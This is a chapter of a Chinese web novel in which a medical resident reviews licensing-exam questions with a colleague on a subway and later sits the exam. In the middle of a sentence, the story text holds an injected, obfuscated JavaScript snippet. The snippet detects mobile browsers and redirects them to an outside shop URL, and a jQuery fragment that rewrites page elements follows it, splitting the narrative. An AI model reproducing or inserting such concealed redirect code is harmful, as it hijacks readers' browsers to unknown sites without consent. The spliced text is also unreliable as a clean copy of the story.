世界这么大,我还是找到你了。
陈予希轻轻地喘息着,眼睛也是盯着吴迪不放。等气息喘匀了,她走过去,坐在了吴迪的旁边。
吴迪连忙揉了揉眼睛,又把小卷毛拨弄过来挡住眉眼。
“你怎么来了?”
“就是正好要坐地铁,一上车,就看到你了。”
“你到哪站下?”
陈予希抬眼望着路线图,说了一个尽量靠后的站。
“那你坐反方向了。”
陈予希愣了一下,然后笑了起来:“好吧,我承认了,我是专程来找你的。江野说看到你一个人出了医院,不放心,让我来瞧瞧。你看,这么巧,我一下子就找到你了。”
柔软的声音穿透了耳膜。吴迪心中满满全是感动,但他也理智地分析起这仿佛“命定的相遇”的可能性:“让我猜测一下——你用手机地图估算了行程时间,又查了环线地铁需要多长时间一圈,预测到我会在这辆地铁上。然后你评估了从最近的通道下来站台的位置,在稍微靠前的站台口向车厢里张望。你看到了我,然后再上车的,对吧?”
陈予希有些苦恼地笑了起来:“被你一说,全是算计,再无半点邂逅的惊喜啦。”
是啊。世界这么大。怎么会偏偏遇到你?
“但是我很感动。谢谢你。”吴迪真诚地说。
陈予希转过头看着他,眼神中有真切的抱歉。“你不用谢我,应该我说对不起的。之前说了伤人的话,后来态度也不好,就这么自我愤怒着,不给人解释的空间。后来江野找我谈过话……”
“江野找你谈过话?”
“其实是我找他的。他建议我好好观察你。”陈予希眨眨眼睛,“我认认真真地观察了。6个月,都够开一个临床试验周期了。”
吴迪也忍不住被逗笑了:“结果发现此人果然笨蛋。”
陈予希认真地想了想,郑重其事地说:“不。我觉得你很要强。”
吴迪看着她,眼中晶莹闪动,没说话。
“你虽然天资没有那么好,但真的能看到你在努力,比所有人更努力。”陈予希继续说着,声音里透着真诚,“你是好的。态度比结果重要。”
吴迪猛地低下头:“其实我觉得你说得是对的。我不配,各种意义上的。”
“你就忘记那些伤人的话吧,不然我都不知道该怎么补救了。”陈予希双手撑在膝盖上,忽然灵机一闪,“不然我们来对题吧?”
望着陈予希真诚的眼睛,吴迪张了张嘴,说不出“不行”这样的话。
地铁继续在隧道里呼啸冲刺,两个人小声地交流着今天的考题。
“啊!教育处处长跑去看你答题了啊。”
“是啊,他像个背后灵一样突然出现,还倒吸了一口凉气,之后我整个人都蒙圈了。”
“确实挺让人讨厌的。我高中的时候,期末考数学,遇到两个监考老师在我面前聊天,我也是不厌其烦。”
“那你怎么做的?”
“我客气地请她们闭嘴。”
“你好勇。我也该让祁明滚蛋的。”
两个人看着对方笑了起来,凝重的空气为之一松。
“不过他看你答的那道题,我也是选的C。”
“真的是C吗?我在胰头癌还是胆总管下段癌两个选项中有些犹豫。”
“我记得那道题题干挺长的,不过总结起来就是‘65岁男性,上腹不适、黄疸。查体发现胆囊肿大、无压痛’。呈现出的就是Courvoisier征阳性。所以应该选胰头癌。”
“居然蒙对了?我还有一道病例题,是感染相关问题。我对出血热还是钩体病有些拿不准。”
“就是钩体病啊。我也是选的这个。”
“真的?那我又蒙对了?这段病例题好多分!我只能用排除法,好怕考官用干扰项。”
“这道题考官还真不太善良,确实有干扰项,不过好像你完全没吃到。”陈予希抿嘴一笑,表情十分生动,“不得不说,你今天运气爆棚,蒙对了。”
吴迪感觉屁股下面有钉子,一会儿想要正坐,一会儿又忍不住扭向陈予希:“不如我们从第一道题开始对吧……”
*
等到所有的题目都对完。吴迪坐在座位上有些发怔。
“我好像……合格了?”
陈予希抿嘴笑道:“不只是合格了,分数还不错。”
吴迪梦游般的声音响起:“他们还说,综一最难。”
陈予希十分确定地点了点头。“说明你的基础打得还不错。”
吴迪双手抬起,把头发揉乱,又把脸搓红,如果不是地铁里还有其他人,他几乎要跳起来打一套军体拳。“这么说来,我大有希望留在优力了?”
“也别骄傲啊,明天还有三科。”陈予希笑容狡黠,“我也希望观察期足够长,长到我可以看见天资和勤奋到底哪个更重要。”
吴迪情不自禁地揽住陈予希的肩膀抱了一下。由于事发突然,陈予希“啊”的一声,声音小小的。
吴迪顿时手都不知道该怎么摆了,一会儿在胸前握拳,一会儿在膝盖上搓火星子。“对不起,我过于激动了。我……我……阿姨您坐这儿!”
吴迪忽然起身,给刚上车的老奶奶让了一个座儿。自己拉着扶手,站在了陈予希的面前。
陈予希以帽檐遮脸,笑到不行。
吴迪身体僵直了好一会儿,最后也忍不住肩膀一耸一耸的,憋笑了起来。他耳朵上的红好半天都没下去,生气却从眼睛里一点一点溢了出来。
“放屁!这哪是运气,这就是实力。”
江野听到吴迪报平安的电话后,忍不住开训了。
“过去哪有那么多诊断辅助技术,不都是一群人围着肚皮猜猜猜吗?祁明我说得没错吧?”坐在旁边的祁明一脸懵逼,怎么又有我的事儿?“这就叫作一元论,只要你能用一套理论来解释这个患者身上的所有异常指标,能够自圆其说,你就是高水平的大夫。所以你蒙的这几道题,是有临床思维的,这几分就该你拿到。放宽了心,大胆地考。要相信自己就是金字塔尖的那1%!”
放下电话后,祁明凉凉接话:“你这么教学生是不对的。有时候我们就是会故意设置干扰项。”
“就你们这群出题人最缺德。”江野地图炮。
“临床上总有复杂意外。”
“不是还有MDT(多学
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17774991|208173||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
科会诊)吗?你们这群大佬,遇到疑难病例不一样围着肚皮猜猜猜,不一样争得面红耳赤?现实中哪有那么多标准答案?”
祁明被噎得说不出话来。
“我徒弟要有什么意外,我弄死你。”江野骂骂咧咧的,终于拍屁股走人了。
祁明愤愤不平地吸完最后一口冰美式:“就你护短!”
一同听了江野的电话后,阿九难得认同地点了点头。
“虽然江野这个人一贯刚愎自用,好歹说了一两句能听的。”
看着眼睛重新亮起来的吴迪,阿九唇角一抹笑意:“吴迪,相处这么长时间了,我对你的评价是——你各方面能力都不差,只是自信心稍微弱一点,所以遇事求稳、求细多一些。这是优点,也是缺点。”
阿九敲了敲PAD屏幕上的历年真题:“如果能用这次考试把最后一根短板补齐,未尝不是好事。外科大夫就是既要胆大,又要心细,遇事犯怵可不行。经过这次洗礼和成长,以后就真的披荆斩棘,一路无敌了。”
吴迪用力地点了一下头,眼睛在暗处也灿若明星。“而且陈予希专门来找了我诶,她说她认可了我的态度。”
阿九莞尔:“这不很好吗?她终于看到你了。”
吴迪喜滋滋地把毯子盖在身上,不一会儿就发出轻轻的鼾声。
阿九看着吴迪,眼神分外柔和。“我也会看着你的。时间很长,我们终会抵达。”
*
第二天考试虽然任务更重,但吴迪已经不是吴下阿蒙了。
经过自信心重塑,以及一夜好眠,吴迪走进考场的时候,真有一种“我做什么都能成功”的昂扬感。
考试的时候手感也确实不错,就连平日里容易卡壳的A3型病例串题也来到了他的绝对领域——
屏幕上跳出一道长病例:“女性,62岁,反复右上腹疼痛5年,加重伴寒战高热2天,皮肤黄染1天。查体:T39.8℃,P122次/分,BP85/50mmHg,神志淡漠,右上腹压痛、反跳痛、肌紧张。血常规WBC21.5×109/L,总胆红素92μmol/L,直接胆红素68μmol/L。"
怎么会这么巧,正好是他来到急诊科跟着处理的第一个危重病例——急性梗阻性化脓性胆管炎?
而且那次术后,阿九逼着他不仅写下手术记录,还认认真真梳理了一遍完整的诊疗思路,从发病机制到鉴别诊断,从急诊处理到后续治疗,门儿清。
吴迪一边在心中祷告着“阿九你就是古希腊掌管好运的神”!一边飞快地移动鼠标——
等到考试快结束的时候,吴迪已经隐隐有了预感——执业考试这一关,怕是已经让他闯过了。
啊啊啊!星光不负赶路人!优力医院,我赖定你了!
以后就不是“我不行”,而是“吴迪很行”!“吴迪牛逼!”“吴迪无敌!”
在这一刻,吴迪自信心爆棚,离开考场的时候,甚至走出了“乱世巨星”的步伐。
只是他刚刚取回手机,江野一个电话打到他手机上。
“吴迪,这次摊上大事儿了。”江野的声音前所未有的凝重,“刚送来一个钢筋穿体的患者,速来!”